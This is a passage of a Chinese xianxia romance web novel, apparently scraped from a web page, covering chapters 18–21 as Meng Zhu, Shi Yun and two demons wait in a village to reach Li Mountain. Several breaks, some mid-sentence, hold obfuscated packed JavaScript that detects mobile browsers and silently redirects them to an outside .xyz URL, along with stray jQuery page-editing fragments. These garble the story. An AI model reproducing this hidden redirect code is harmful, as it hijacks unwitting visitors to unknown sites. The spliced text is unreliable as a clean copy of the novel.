施允的心脏猛地弹跳了两下,剧烈得几乎要从喉咙口里跳出来,他的眼睛瞪得极大,浑身僵硬地像一尊石像。 他应该推开她的。 怎么手脚发软,身体不受自己控制呢? 孟竹依然闭着眼,在黑暗中摸索着,手指绕着男人的发带轻轻一扯,满头如水的青丝散在枕边。 手指曲起,插-入细密柔软的乌发之间,孟竹偏头含住他的唇瓣,吻得更深。 被密密实实地压着,连呼吸和唾液都要同人分享,他的后脑被孟竹一只手扣住,施允几乎是头皮发麻地被动承受着这个吻。 他快要透不过气来了,不知是因为缺氧还是痛苦,眼泪不受控制地溢出。 脑子里思维都变得缓慢极了,唇边、耳廓和被她搓揉着的发丝间都像过了电一样酥酥麻麻。 为什么? 施允缓缓地思索着,脑子却像被泡在了一团热热的浆糊里,怎么也想不出一个合理的答案。 直到孟竹的手指从腰侧探了进去,顺着腹肌往上游移。 她竟然不知不觉解开了他的腰带! 简直…… 简直放肆! 怎么会有如此好色之徒! 轰得一声,血液像是一瞬间冲上了头顶,忍着耳廓和面颊上火辣辣的烧红,施允抬手,一把将孟竹推开。 他往孟竹脑袋上贴了张符纸,用缚仙索将人捆了个结结实实。 看着孟竹依然不安分的样子,他又把被子给人盖了起来,一直拉到下巴,遮得严严实实。 他冷着脸,红着耳朵将孟竹的脸按向另一边,道:“……你老实点。” 18. 第 18 章 孟竹本来是在做一场溺水的噩梦的,可这噩梦忽然一换画面,就变成了另一种模样。 她梦见自己在无边无际的沙漠中行走,没有食物、没有水,连个人都没有,沙漠中只有自己留下的一串串脚印。 烈日当空,温度很高,晒得人皮肤都开始发痛,没有水源,她几乎快要渴死了。 走着走着,在她筋疲力尽之时,忽然感觉到一片不同于周围温度的凉意接近,她下意识地伸手去抓住那片让人凉爽的东西。 啊,是冰汤圆。 软软的、凉凉的、甜甜的。 每吃一口都能感觉到喉咙里的干渴迅速被缓解,周围的温度不知不觉地降了下来,不再令人那么燥热。 可谁知吃着吃着,冰汤圆自己长腿跑了,它拔足狂奔,孟竹跟在后面追,追了半天也没追上不说,还被冰汤圆用水洒了一脸,转过身满脸凶狠地威胁她:“再不老实点,把你也放进锅里煮了,和我一起做汤圆!” 古怪的梦结束,孟竹睁眼。 醒来时,她还回味了下,这什么离谱的怪梦? “醒了?” 她下意识转头,看到了坐在桌边的施允,他一手拿着茶杯,淡淡抬眼看她。 “你……”孟竹从床上坐起来,刚想说些什么,余光却瞥见角落里还有两个人,一站一坐。 坐着的那个是阿喜,站着的那个…… 不认识,身量很高,几乎和施允不相上下,骨架也挺大,但那个长相,当真是漂亮,雌雄莫辨的一张脸,他转过脸和孟竹的视线对上,张了张嘴,喊了一句:“……姐姐。” 声音软软的,黏腻地像刚出锅的糖水。 施允的眉心不易察觉地拧了一下。 阿喜大怒,一拍桌子站了起来,喝道:“别在这乱攀亲戚,成天妖妖艳艳的,败坏我们男妖的名声!” 孟竹缓缓转了转眼珠,确认自己没见过这号人,“……你谁啊?” 阿喜嘴快,先一步开口道:“看不出来吗,这魅妖啊,好不容易抓着的。” 她意识到了什么,看向施允,施允低头喝茶,没理她。 不知为何,萦绕在心头那几日的憋闷忽然就散了。 她还以为他不告而别了,还以为……连再见都没来得及说。 不过以施允的性子,倒也不怪她这么想,或许她应该对施允再好一点,毕竟她还指望着他带自己去仙洲呢。 这么想着,孟竹起身,找了个话题开口:“抓到他要干什么啊?” 施允扯了扯嘴角,冷飕飕道:“放水里煮了。” “……姐姐。”扑通一声,那人跪在地上,眨眼间泪盈于睫,楚楚可怜道:“我是照水啊。” 他仰着头,露出一截白嫩的脖颈,豆大的泪珠从泛红的眼角滚落,连鼻尖都带了些可怜的淡粉色。 照水向前爬了两步,想要扯住孟竹的裙摆,“你不认得我了吗?” 孟竹一侧身,往旁边挪了两步,让他伸出的手抓了个空。 她实在无法把那个十二三岁的毁容小男孩和面前这个看起来柔弱漂亮的男人联系起来。 孟竹心疼小孩子,不代表她是个老好人,什么也不懂的傻子。 她先问了一句:“你奶奶呢?” “我……” “她死了。”阿喜道,“那老人的孙子有颗玲珑心,他把那小孩的玲珑心吞了,还假惺惺地装作老人的孙子为她送终,别提多恶心了。” “不是的!”照水忽然喊了一声,他慢慢俯下身,像是浑身被卸了力气一样,又重复了一遍:“不是的……” “我是吃了他的玲珑心不假,但他本来就要病死了,若不是我,奶奶她还要白发人送黑发人,他是自愿把玲珑心给我的!” 他抬起头,伸手擦掉眼角的泪水,继续道:“他和我一样,因为弱小,一直被人看不起,被人欺负,明明做着最辛苦的事情,拿到手的银子却只有那么一点点,甚至去看病,都被人嫌弃这钱是脏的,是粘过大粪的!” “我不嫌弃他,他也不嫌弃我,在他快死的时候,他把自己的心给了我,唯一的愿望,就是让我照顾好奶奶,你们口口声声喊着恶心,你们高高在上,你们都是人上人,你们又何曾尝过被人当成污泥践踏的滋味?” “为何偏偏就容不下我们这些人的存在呢?” “我妖力低微,受伤以后连家都回不去,天天东躲西藏,这些人天天对我喊打喊杀,吃了玲珑心,我就有能力回到丽山,再不受人欺负,我做错了什么?” 阿喜慢慢坐了下来,靠着椅背叹了口气,道:“那你也不应该对孟姑娘……” “阿喜。”施允忽然开口,打断了阿喜的话。 孟竹伸手将照水拉了起来,道:“不会杀你。” “我们无冤无仇,杀你做什么?”她拍了拍照水的肩膀,道:“放心吧。” “呵。” 听见意味不明的冷笑声,孟竹扭头去看施允,他把茶杯放下,道:“你倒是自作聪明,你怎么知道我不会杀他?” 施允的视线落在他牵着孟竹衣袖的那只手上,看得照水莫名地瑟缩了一下,往孟竹身后躲了躲。 阿喜把人拉开,将他一把按在一旁的凳子上,“坐好了,一天天的干什么呢!” 她怎么知道施允不会杀照水? 她虽然没有见过其他厉害的修仙人士,但看他这通身的气势,应该也不算什么弱者,要杀一个妖力低微的魅妖,应当是手到擒来,何须费那么大的功夫活捉他? 她绕过桌沿坐在施允旁边,看着冷着脸的施允道:“我就是知道,你本来就不是那种人。” “哪种人?”施允牵唇浅笑,抬眸看她:“真以为自己这么了解我吗?” 孟竹看着看着,视线不由自主地落在他的唇上,他本来皮肤就很白,唇也很红,此刻仔细一看,唇色竟比往日更红了些,添了几分水润的艳色。 她不由自主地凑近了些,甚至能看清距离他唇下有一颗淡淡的小痣,下唇不知道被什么东西蹂-躏过,微微肿了起来,上面还有一道细小的裂口。 “你这嘴巴怎么破了?”孟竹眉头轻蹙,心里想着,嘴上也问了出来。 她问出这句话的时候,才意识到自己的距离靠得很近,连手指都不知道什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868915|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么时候点在了施允的唇上,指腹在那道伤口上轻轻磨擦了一下。 施允感受着她指尖的温度,那股头皮发麻的感觉令他汗毛倒竖,心跳声一下比一下更重,耳边嗡嗡地响。 脑海中浮现了一个想法:摄魂咒应当比他想象的更加危险。 他不能如此被这样的东西所控制。 他下意识地伸手拍开孟竹的手,捂住自己的唇,偏头躲开她的视线。 “关你什么事!” 这句话说得又急又重,像是吃了炸药似的。 孟竹的手停在半空,“对不起。” 施允不喜欢别人碰他,孟竹把这句话在心里默念三遍。 她很擅长发现伤口,下意识地会觉得那些伤口碍眼,让她想起一些久远的回忆。 两人都不说话,室内的气氛逐渐变得古怪起来。 阿喜忽然“哈哈”笑了两声,把众人的视线都吸引过去。 他顶着一片火辣辣的眼神,笑容僵硬地指了指旁边的照水:“那什么……先说正事吧。” “你得带我们去丽山。” “……什么?”照水站了起来,“我不要!” 他眼神中透着对施允的不信任,“谁知道你们是不是居心叵测,想要借机一网打尽。” 照水脖子一横,闭眼道:“要杀要剐,悉听尊便!” 此前来的时候,虽然没有细说,但施允说他要去丽山拿回一样很重要的东西,而且这一路走来,也碰到过一些小妖怪,但施允根本就没放在眼里,甚至只要不碍着他,他都当作没看见。 再说,凡人请修士猎妖,要么是猎捕魅妖这类的妖怪图钱图色,要么是真的作恶多端惹是生非,施允既不缺钱,也不图色,魅妖更不是什么兴风作浪的妖族,她还真想不到施允对魅妖一族下手的理由。 岂料施允转头就是一句:“你以为我在跟你商量么,杀了你,我照样能去丽山。” “……” 她就知道施允狗嘴里吐不出象牙来。 “照水。”她忽然抬手指向阿喜,“你看,阿喜也是妖,但是他依然同我们在一起,是和我们并肩而行的人。” “不是所有人对妖族都充满恶意,我们只是想去寻一样东西,不会伤害你们,况且,你也看到了……”孟竹话头一转,看了施允一眼,道:“现在这种情况,他要是想杀你,还用得着等到现在吗?” 阿喜忽然被她点名,脸上的表情愣怔了一瞬,照水幽幽地看了他一眼,他抿了抿唇,看向照水的目光多了几分柔软:“没事的,安心回家就好。” 最开始,他确实是被施允牵制着为他做事,可后来,施允不知道什么时候早就解开了他身上的术法。 他早就发现了,但是却没有离开,施允没说,他也当作不知道。 为什么呢? 阿喜听到孟竹的话,忽然笑了笑。 大概他早就把他们当作自己的朋友了。 他还以为,孟竹一直是看不上他这个妖怪的。 照水沉默了片刻,看向孟竹:“……如果是你,我愿意相信。” “我带你们去丽山。” 19. 第 19 章 丽山和别的地方与众不同,不能用传送阵直接抵达,他们只能先传送至离丽山最近的一处村落。 因为独特的隐蔽性,他们需要等待月圆之时,丽山才会开启。 望着眼前这一片屋舍俨然,遍布桃花林的地方,孟竹心中只有一个想法。 真是哪哪儿都比杨柳村要好啊。 他们几人个个样貌出挑,气质卓然,一进入村子便获得了大量村民的注视礼。 尤其是施允,他和照水那种雌雄莫辨的精致柔美不同,是那种极为明艳的,一身红衣飒烈如火,纵使人海茫茫,也一眼就会被看到的那种人。 姑娘们纷纷笑开了花,热情极了,笑着招呼他们到家中做客。 其中有个穿着绿裙子,梳着一个长辫子的姑娘,约莫十六七岁的模样,站在人群中对施允笑道:“公子,不介意的话,你们可以住在我家。” 她伸手指向不远处的一个地方,施允扫了一圈,视线定在她指着的地方,然后勾唇笑了笑,道:“好啊。” 这姑娘愣了一下,看直了眼,好半天都没回神。 最后,孟竹他们一行人借宿在村长家,不是因为别的。 只是因为村长家有一处安静的院子,房间也大,看起来比其他村民家里都要干净漂亮许多,显然是一个比较富裕的人家。 方才那个梳着长辫的姑娘,正是村长的女儿,名唤崔萝,此刻正把他们几人领进了院子,剩下的空屋不多,阿喜和照水住一间,孟竹和崔萝挤一挤,剩下一间空屋,给施允一个人单独住。 此刻正是傍晚时分,家家户户炊烟袅袅,村长也很热情,切了肉、温了点酒,烧了几个好菜请他们一同吃饭。 施允照例是拿出一张银票递给崔萝,却被崔萝拒绝了,她笑说来者是客,不必介怀,他收回银票,敛容道了声谢,便不再勉强。 阿喜和照水最先坐下,孟竹也不扭捏,道了声谢就入座了,众人的视线一时都落在站在一旁的施允身上。 孟竹本来以为施允不会吃了,却见他一掀衣摆,在她旁边的空位坐了下来。 “村长。”阿喜一吃一边道:“您这手艺不错啊。” 村长笑着摆了摆手,看向了自己的女儿,“不是我,是我家小萝做的,各位要是吃着不错,那小萝可是开心坏了。” 崔萝抿唇笑了笑,眼神却时不时往施允身上瞥。 照水伸出筷子去夹稍远一点的肉丸子,但是夹了几次都从筷子上滑了起来,他悻悻地收回筷子,闷头扒饭。 眼前忽然出现一双筷子,将肉丸子夹到了他碗里,照水顺着那个方向,看到孟竹又夹了几个肉丸子放在他碗里,不仅如此,稍远一点放的几个菜都被她夹了过来,一时间,照水的碗里冒出来老高,像一座小小的山。 孟竹:“吃吧,不够再跟我说。” 照水眉眼弯弯,说:“好。”然后又低头乖乖吃了起来。 见施允一直没有动筷子,崔萝打开一个密封的罐子,盛了一小碗汤往施允的面前推了推,“施公子是不是胃口不好,要不尝尝我熬的梅子汤,酸爽开胃的。” 施允眼皮都没抬一下,只盯着自己面前的那副碗筷,不知道在想什么。 没得到回应,崔萝也不觉得泄气,抬头询问孟竹:“孟姐姐,可是饭菜不合施公子胃口?我可以再去做几样。” 倒不是,饭菜味道真的不错,只是这人毛病太多了而已。 孟竹不懂,他既然不吃,又要坐下来干什么? 施允站起身,深深看了孟竹一眼,然后转身去了自己的房间。 他一走,崔萝也愣了一下,明显兴致降了下来,只笑了笑道:“大家多吃点。” 吃完饭以后,虽然天已经黑了,但孟竹不习惯马上睡觉,她准备去外面走走,消消食,崔萝跟着她一起,也出了门,说是要带她逛逛村子。 夜风吹着,月色微凉,孟竹和崔萝走在乡间的小路上,崔萝热情地问了她好些问题,孟竹一一回答,说着说着,话题又回到了施允身上。 她性格大方,毫不遮遮掩掩,一双清亮的眼睛看向孟竹,问出了那个今夜她最想问的那个问题。 “孟姐姐,你同施公子是什么关系呢?” 什么关系? 这倒是第一次有人当着她的面问她和施允之间的关系,她被问得愣了一下。 是朋友吗? 大概也算不上,他们之间并不是那么亲近的关系。 于是孟竹思考了一下,斟酌着回答:“没什么关系,只是顺路一起搭个伴而已。” 只是顺路一起搭个伴,到了终点,大家都是要分道扬镳的。 崔萝呼出一口气,笑着拍了拍胸口:“真的吗?太好了。”她说着说着想到了什么,脸上染上些绯红,“我还以为施公子喜欢你呢。” 见孟竹没什么反应,她接着说道:“他总是看你,我还以为你们之间是那种关系。” 孟竹想起那日问施允的话,他冷淡的脸和嘲讽的表情,明显是不喜欢被人如此误解,于是严肃道:“小萝姑娘误会了,我们之间并不是你想象的那样,以后也请不要在他面前说这种话。” 崔萝忙不迭应了,手指轻轻在辫子上绕圈,往前又走了一段路,忽然停住脚步,“孟姐姐,那……你能帮帮我吗?” 孟竹回头,“帮你什么?” 少女的脸颊绯红,在清亮的月色下显得格外明显,“我喜欢施公子。” 她又往前走了两步,拉着孟竹的手晃了晃:“孟姐姐,你比我更了解他,你知道他喜欢什么吗?” 这大胆直白的告白猛地砸到孟竹脸上,她一时间竟有些晃神。 喜欢?喜欢是这么容易说出口的事情吗? 她同从十一岁便开始形影不离,十八岁的时候,霍予说他喜欢她,喜欢了好多好多年。 如今她已经二十一岁了,这喜欢变得销声匿迹,一文不值。 况且,她了解施允吗? 她知道他喜欢什么吗?喜欢吃什么?喜欢做什么? 不知道,她什么都不知道。 “孟姐姐?” 孟竹回神,忍不住好奇道:“你喜欢他?你们今天才刚刚见面而已,你确定你喜欢他?” “那又如何?”崔萝松开孟竹的手,脚下的绣鞋轻轻拨了拨落在地上的花瓣,“我第一眼看到他,就觉得我这辈子都不会再喜欢上别人了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882126|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可是……我们并不会在这里待很久,很快就会离开了。”孟竹抬眼,注视着她:“你确定你要一段这样短暂的感情吗?” 这跟露水情缘有什么两样? 崔萝笑道:“就是因为短暂,才要分秒必争啊。” “倘若施公子也对我有意,我随他走又有何妨?” 孟竹扶额,想说些劝阻的话,但又觉得这样看起来像是故意从中作梗似的,只好摇了摇头,道:“我帮不了你,我不知道他喜欢什么。” “……我只知道他讨厌什么。” “那也行。”崔萝又问,“那施公子讨厌什么?” 孟竹道:“他不喜欢别人碰他,不喜欢不干净的地方,不喜欢吃葱,不喜欢与人同桌而食,不喜欢麻烦……” “麻烦是指什么?” 孟竹心道,恐怕是指我,但她可没把这话说出口,只无奈笑了笑,道:“谁知道呢。” 总之,散完步回去以后,崔萝先没急着回房,在外面忙活了半天,烧水洗锅,另煮了一碗面,里面的料放得很足,她记着施允的喜好,没有放葱。 端着那碗热气腾腾的面,崔萝站在房间的门前,整了整自己的衣衫,吸了口气,敲了敲门。 门很快开了,她望着施允眉眼冷淡的一张脸,小声道:“施公子,我看你晚上没有吃饭,你饿不饿,我重新煮了一碗面给你。” 施允看了一眼,道:“多谢,但是不必了。” 说完,眼前的门毫不犹豫地就要在眼前合拢,崔萝心急,一时竟直接用手挡住门缝,道:“碗筷我洗得很干净,面里也没有放葱,施公子……” 她的话没有说完,但她已经说不下去了。 门因为她的阻拦没有被关上,但站在对面的人一言不发,他一只手搭在门框上,面无表情地看着她。 明明他并没有做什么,她却觉得有一股无名的压迫感,压得她险些忘了喘气。 “说完了吗?” 崔萝收回卡住门缝的手,有些失落地点了点头,门很快关了,伴随着一阵冷风拍在她脸上,甚至来不及让她再看一眼。 她端着食案回了自己的房间,孟竹正要准备躺下来,便看见崔萝坐在桌边,闷不吭声。 孟竹一猜就知道小姑娘受挫了,施允那炸雷似的性格,能是正常人接受得了的吗? “孟姐姐,你吃面吗?”崔萝忽然抬眼看她,闷闷不乐道。 “不吃就太浪费了。” 孟竹摸了摸自己鼓鼓的肚子,她晚饭吃得够多,现下是一点都吃不下了。 她想了想,说:“要不给阿喜吃吧,我估计他吃得下。” “不要。”崔萝眉头一皱,“又不是煮给他吃的。” 到底是年纪小,什么情绪都摆在脸上。 孟竹看着那碗面,还冒着滚烫的热气,显然是用了心做的,面汤浓白,青菜一根根摆在上面,连切好的肉片都码得规规整整。 她忽然想起了什么,叹了口气,道:“要不我再帮你送一遍吧。” “可以吗?”崔萝两眼亮晶晶地望着孟竹,然后将食案递到她手上,催着她出了房间,“谢谢孟姐姐,快去吧,不然面就坨了。” 20. 第 20 章 孟竹端着手上的食案站在院子里,她找了张桌子,从乾坤戒里取了一幅崭新的碗筷,重新将面装了进去。 她端着重新装好的面碗朝着施允的房间走去,站在门口,抬手敲门。 孟竹站在原地等了一会儿,一直没有人应声,房间里能看到已经熄灯了,大概是睡了。 在她准备转身离开的时候,吱呀一声—— 门开了。 孟竹回头,施允站在门口,他的衣襟只松松拢着,抬手扶着门框,宽大的衣袖落下,露出半截白皙结实的小臂。 夜风吹来,她闻到了施允身上淡淡的沐浴过后的香味。 四目相对,那双原本敛着的眉眼松了下来,继而冷淡道:“你来做什么?” 孟竹把食案往前送,“我换了新的碗筷,你肚子饿吗?” 施允垂眼看着那双碗筷,忽然开口问她:“给我准备的?” 孟竹记得这双碗筷是当时她在街上闲逛时,她帮一个摊主按住了个偷东西的贼,热心的老板送的,不值什么钱。 但是以施允这种龟毛又讲究的个性,想必不会用这样的东西,为了完成小姑娘交代的任务,早点回去睡觉,孟竹撒了一个善意的谎言:“是啊。” “我特意给你买的。” 为了提高谎言的真实性,她还特意指了指,问:“你不喜欢吗?” “……” 施允有些嫌弃地来回打量着那个瓷碗,就差没在脸上写上“没品位”三个大字。 “不吃吗?”孟竹不想浪费时间了,“不吃我走了。” 下一秒,施允的手伸过来,接过她手上的食案,“我说我不吃了吗?” 孟竹的手上一松,施允退了回去,把门砰地一声关上了。 她被拍了一脸冷风,回到房间的时候,小姑娘又在倒腾着什么东西,孟竹靠在门边看她忙活了半天,穿针引线,嘴里还哼着歌,方才那一脸的苦闷相早就消失不见了。 小姑娘的心事还真好懂,孟竹看着,摇着头笑了笑。 崔萝忙得入神,好半天才发现孟竹已经站在屋里很久了,她忙起身问孟竹:“施公子他……” 孟竹点点头,崔萝开心了,不一会儿又纳闷起来:“怎么孟姐姐你去送就行,我就不行呢?” 这还不简单?孟竹解释道:“他不喜欢别人用过的碗,不是谁送的问题。” “啊……”崔萝恍然大悟,点点头道:“下次我会注意。” 这一晚上,两个姑娘房间的灯彻夜未熄,孟竹闭着眼,眼前却总是光亮的,崔萝灵活的手指头在细线和柔软的布料间来回穿梭,忙了整整一夜。 直到天光微亮之时,她才轻手轻脚躺在孟竹旁边,合衣睡了过去。 孟竹起来的时候并不算晚,她醒来才发现崔萝竟然比她起得还早,整个人像打了鸡血一样精力旺盛。 阿喜和照水也从屋子里出来了,正坐在院子里的石凳上,孟竹远远地看着,就看见阿喜嘴皮动得极快,唾沫横飞,对着照水指指点点,照水低着头不说话,极为可怜的模样。 走得近了,才听到阿喜怒气冲冲道:“你别以为你装傻充愣就能躲过去,我问你,你昨晚上干嘛了?” 照水看着孟竹走过来,面带无辜地眨了眨眼,轻声道:“没干嘛呀……” “你还敢说!”阿喜一拍桌子,树上的桃花都被他震落了几片下来。 “姐姐……”照水挨着孟竹坐了近了些:“我真没做什么,不过是有些人晚上睡觉做梦和几个女妖怪颠鸾倒凤,我就随便看了一眼他的梦境而已。” 阿喜觉得自己大概是跟着施允寡久了,连春梦都做起来了。 “什么叫你只是看了一眼,啊,我还不知道你有这种本事呢,你把女妖的脸换成自己的脸是几个意思,存心恶心我是吗?” 春梦变噩梦,在梦里被长着好几个头的照水绕了起来,像被一条巨蟒勒了一晚上脖子似的。 照水有些委屈地看着孟竹:“姐姐你看……阿喜他又凶我,我不过是听他叫唤得难受,想要叫醒他罢了。” “我是不是做错什么了,我也不知道阿喜为什么会这么生气……” 他说着,眼泪吧嗒吧嗒就要往下落,一边流泪一便表情诚恳看着阿喜道:“要是让你感到不痛快了,我向你道歉便是了。” 孟竹皱了皱眉,对着阿喜道:“差不多行了,照水也没什么恶意。” 照水啜泣:“姐姐不要说阿喜了,他不过是说我两句罢了,一切都是照水的错……” 阿喜瞪大了眼,一只手指颤抖着指着阿喜,喘气声都粗了许多:“你……你!” 他捂着胸口,感觉自己快要呕出一口血来,咬牙切齿道:“真行啊你!你小子成天阴沟里算计,肚子里装屎,没憋什么好屁吧!” 孟竹:“诶,说话文明点。” 照水正要开口,余光却瞥见一道身影,那人不紧不慢地走了过来。 他一下子把贴着孟竹的身子坐直了,脸上的表情也收了个干净,整个人显得无比端正严肃。 阿喜:“?” 正巧,这时候一大早就出门了的崔萝也回来了,她是坐牛车回来的,板车里放了不少东西,应该是到镇上买的食材之类的,孟竹看了眼,起身去帮她提东西。 阿喜和照水也跟上,帮着崔萝把车上的东西拿下来。 崔萝亲亲热热地挽着孟竹的手,喊了一声:“孟姐姐。”然后又看向施允,“施公子,休息得可还好?” 施允站在不远处,不咸不淡地嗯了一声。 收拾完东西,崔萝又马不停蹄地去收拾屋子准备做饭,看得出来她是个很勤快的姑娘,村长的腿脚不太好,常年在屋里待着,家里家外都是崔萝一个人在操持。 孟竹看了看她眼下的青黑,帮她从井里挑了水,路过时看到像死鱼一样瘫在一旁的阿喜和照水,一人踹了一脚,“起来干活,白吃白喝的,要不要脸。” 两人痛苦地呻吟了一声,扶着腿爬起来去洗菜了。 院子里唯一的藤椅上躺着一个大爷,听到这话默不作声地斜了一眼过来。 孟竹看着这爷五谷不分、四体不勤的样子,对上人含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施允这般想着,白皙的耳廓渐渐变红,那股头皮发麻的感觉仿佛又来了。 阿喜低着头洗菜,叹口气,又道:“可惜了,咱们终究是要走的,总归跟她不是一路人。” 是了,去丽山解了摄魂咒,他终究是要回仙洲的。 不过孟竹这么喜欢他,他也可以勉为其难地帮她一把,让她去仙洲的路更加顺遂一点。 也可以不必吃那么多苦就能接近他。 若是她实在想念他,他只能纡尊降贵偶尔来看看她,以解她的相思之苦。 毕竟相处了这么长时间,他自认为也是一个重情重义之人,就这么丢下她,未免太可怜了些。 孟竹这样普普通通的人,放在人堆里就犹如蚂蚁一样找都找不到。 施允摇了摇头,忽然低低地笑了一声,无奈道:“真麻烦。” “是啊。”阿喜洗完了菜站起身,遥遥看了灶房的方向一眼:“到时候主人一走,她哭起来可麻烦了,还是不要让这姑娘把心思放得太重才好。” 施允嘴角勾着,懒声应道:“废话真多,我自有打算。” 他伸出一只脚撑在树上轻轻一踩,藤椅便吱吱呀呀地晃了起来,桃花纷纷扬扬落下,施允躺在上面,显得格外闲适。 阿喜拿着菜往回走,经过时,盯着施允看了半天,疑惑道:“主人,你这脸怎么了?红成这样?” 21. 第 21 章 不知不觉,他们已经在崔萝家住了小半个月,施允说大概再过两日就是圆月了。 孟竹发现施允最近的心情很好。 阴晴不定的脾气收敛了许多,甚至称得上是温和了。 不仅吃饭的时候愿意跟人坐在一起,孟竹在给照水夹菜的时候,瞥见施允的眼神,手指一抖,鬼使神差地也夹了点菜放他碗里。 等她反应过来的时候,刚想说帮他换一个碗,这人却慢吞吞低头,把碗里的菜吃下去了。 自那以后,这人懒得越发光明正大,每顿饭,就像是没长手一样,都要孟竹夹到他碗里,他才肯动筷子。 伺候人也不是这么伺候的吧? 甚至有一次,孟竹在帮崔萝整理院中的花草时,沾了一手湿泥转身时,一不小心撞到了不知道何时站在她身后的施允,她下意识地用手搭了一下他的腰身。 两个黑漆漆的掌印赫然印到了施允的白衣上,格外醒目。 孟竹连忙道歉:“对不起……我没注意你站在我身后。” 她以为施允会皱着眉说两句难听的话,却忽然听到他轻笑了一声,用一种了然于胸的表情看了她一眼,什么话都没说,施施然换了一身新衣服,轻飘飘地揭过了此事。 这一切都让孟竹觉得毛骨悚然。 暴躁的施允让人猜不透,忽然转了性子的施允同样让人猜不透。 总觉得他心里在盘算什么不得了的东西。 阿喜和照水依然合不来,每日里起来都是吵吵嚷嚷的,孟竹早上刚一睁眼,就得被拉出去给两人评理。 一个怒不可遏,唾沫横飞。 一个忍气吞声,老实巴交。 她想不通阿喜为何会如此针对照水,她越维护照水,阿喜就越是怒发冲冠,孟竹被闹得头疼,索性由着他们去吵,谁也不理。 崔萝路过时见到了,总是抿着唇笑,看着院子里鸡飞狗跳,也不生气,也不制止。 施允就更别提了,压根不管,吵得声音大了,他只会面无表情地看上一眼,两人又老实了,不过这老实只能维持上一小会,两个人你推我搡,暗地里较劲。 他们在这里住着的这段时间,村子里的村民也格外热情,时不时送些瓜果蔬菜来,尤其是小孩子,他们村里不常来外人,一来几个格外出挑的人,都爱往村长家的院子跑。 他们尤其爱往施允身边凑,小孩子们嘻嘻哈哈,也不畏惧施允的臭脸,一声声喊着施允“神仙哥哥”,说他身上香香的,总是爱伸手去拽他的袖子,小脑袋一颗颗往前凑。 孩子们淘气,成天不是爬树就是玩泥巴,手上自然也脏兮兮的,一日下来,施允的衣服上就添了许多灰扑扑的手掌印。 孟竹有时候担心孩子们闹得太过分,还会挡在他身前拦着,施允挑眉看着她,黑曜石一样的眼睛里含着些意味不明的笑意。 也亏得他近日脾气好,对着小孩子似乎也格外纵容一些,每日沐浴的次数也频繁起来。 孟竹认为,以他这个洗澡的频率,身上皮都能洗掉一层下来。 阿喜就不同了,孩子们在他脖子上挂一个,脚边挂两个,手上还要搂着两个,他很少不耐烦,脸上笑嘻嘻地恐吓小孩:“老子是妖怪,专门吃小孩子的,肉特别嫩,一口一个。” 说完,张大嘴作势要咬在孩子们的脸上和小手上,逗得孩子咯咯咯咯小鸡崽似的笑个不停,一院子都是稚嫩的欢笑声。 照水在一旁看着,他虽然长相漂亮,但气质阴郁,不笑的时候看着还有些阴沉,整个院子里的小孩都围着阿喜和施允转,唯独他身边冷冷清清的。 阿喜肩上扛着两个小孩,见照水一个人坐在一边形单影只的模样,笑得十分痛快,毫不留情地嘲笑他:“哟哟,真是可怜,闷着一肚子坏水,不招人喜欢吧。” “是么?”照水柔柔一笑,冲着孩子眨了眨眼睛。 阿喜依然挑衅地挑眉:“可不么?” 下一秒,狼嚎似的叫喊声穿透了院子,响彻云霄。 “卧槽啊啊啊!!!哪个小兔崽子尿我脖子上了!” - 下午的时候,崔萝听说了他们明日晚上就要离开的消息,显而易见地有些不开心,她将孟竹悄悄拉到院子外的一条小路上。 “神神秘秘的,有什么事?”孟竹被拉着,靠墙站着问。 崔萝抿了抿唇,道:“孟姐姐,我有些话想同施公子单独说,你能不能帮我给他递个话,约他今天晚上在那边的桃花林见面?” 孟竹有些不赞同:“你自己的事情为何不当面同他说?” “不是的……孟姐姐。”崔萝想到什么,嘴角向下耷着,带着几分明显的失落:“如果是我去约他见面,他肯定不会同意的。” “你不做怎么知道他不会同意呢?” “我就是知道。”崔萝抬眼看她,忽然道:“孟姐姐,我知道我和你们不同,只是一个普通的凡人,能有幸和你们相识,大概是我这一生最意外也最幸运的事情。” “我也知道不会有什么结果,我只是想把我的话说给他听,他能听一次,知道我的心意,我也就没有遗憾了。” 往日盈盈带笑的姑娘此刻添了几分多愁善感,孟竹伸手揉了揉她的头发,道:“傻姑娘。” 吃晚饭的时候,崔萝明显心事重重,盛饭的碗都不小心打碎了一个,胃口也不好,没吃什么东西。 阿喜看她失魂落魄的模样,拽着不情不愿的照水自告奋勇洗碗去了。 孟竹在院子里坐了一会儿,来到施允的房间门口,敲了好几声门都没有人应。 “施允?”她站在门口,又等了一会儿。 “进来。” 屋里点着灯,孟竹推门而入。 一阵风,将烛火吹得微颤。 “……把门关上。”施允背对着她,手勾在身后扯着什么。 很奇怪的姿势。 孟竹盯着那宽阔平直的肩膀,他的手往上,还在往头发里伸,“你做什么呢?” 施允的声音显得有些烦躁,“过来帮我一下啊。” 孟竹把门合上往里走,站到了施允身后,抬手时,指尖若有若无地感受到冰凉柔软的触感,她又问:“我能碰吗?” 屋里静了一瞬,施允的手放下来,垂在身侧。 “……明知故问。” 她的手拨开乌黑的发丝,往上,顺着一个方向将头发撩到一边,在里面找到了一缕被打成结的头发。 